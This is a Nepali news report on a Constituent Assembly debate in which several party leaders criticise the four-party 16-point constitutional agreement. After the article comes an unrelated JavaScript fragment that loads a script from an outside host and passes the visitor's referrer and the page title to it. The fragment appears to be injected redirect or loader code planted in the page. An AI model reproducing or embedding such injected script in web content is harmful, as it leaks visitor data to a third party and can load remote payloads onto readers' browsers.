राप्रपा नेपालका अध्यक्ष कमल थापाले चार दलको १६ बुँदे सम्झौतापछि संविधान निर्माण हुने सम्भावना बढेर गए पनि संविधान सिण्डिकेट दस्तावेजमात्र हुने बताउनुभएको छ। संविधानसभाको शुक्रवारको बैठकमा संवैधानिक राजनीतिक संवाद तथा सहमति समितिका सभापति बाबुराम भट्टराईले पेश गरेको प्रतिवेदनमाथिको छलफलमा भाग लिदै अध्यक्ष थापाले संविधानसभा र निर्वाचित प्रतिनिधिहरुलाई रबर स्टाम्पमात्र बनाउन खोजिएको आरोप समेत लगाउनुभयो। थापाले चीन र भारतले कालापानी क्षेत्रको लिपुलेकबारे सम्झौता गरेको एक महिना हुन लाग्दा पनि सरकारले कुनै प्रतिक्रिया नदिएकोमा आक्रोश व्यक्त गर्नुभयो। उहाले हिन्दू सनातन धर्मलाई सिध्याउने गरी आउन लागेको संविधानलाई नेपाली जनताले स्वीकार नगर्ने दाबी समेत गर्नुभयो।

छलफलमा भाग लिदै मधेशी जनाधिकार फोरम नेपालका अध्यक्ष उपेन्द्र यादवले संबिधानसभा नियमावलीलाइ मिच्दै संबिधान निर्माण हुन लागेको बताउनुभयो। दलहरुले आफैले बनाएको नियमावलीको मिच्दै दलिय सिण्डिकेड लाद्न खोजेको आरोप लगाउनुभयो। उहाले सत्ता स्वार्थको मानसिकताको उपज १६ बुदे सहमति भएको बताउनुभयो। त्यस्तै राप्रपाका दिपक बोहराले संबिधान लेखनका बिबादित बिषयमा जनमत संग्रह हुनुपर्ने धारणा राख्नुभयो। उहाले दलहरुबिच भएको सहमति कुनैपनि हालतमा उपयुक्त नभएपनि संबिधान आउने आधार निर्माण हुनु स्वागतयोग्य रहेको टिप्पणी गर्नुभयो।

छलफलमा भाग लिदै फोरम लोकतान्त्रीका जितेन्द्र देवले पनि दलहरुबिच भएको सहमतिको बिरोध गर्नुभयो। संवाद तथा सहमति समितिले संविधानका विवादित विषयमा अत्याधिक सहमतिसहितको प्रतिवेदन विहीबार संबिधानसभामा पेस गरेको थियो। संविधान लेखनलाई द्रुतगतिमा अघि बढाउन प्रमुख राजनीतिक दलहरुबीच राज्यपुनःसंरचना, शासकीयस्वरुप, निर्वाचन प्रणाली र न्यायप्रणालीलगायत विवादित विषयमा जेठ २५ गते सहमति भएपछि संविधान निर्माणको बाटो खुलेको हो।

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;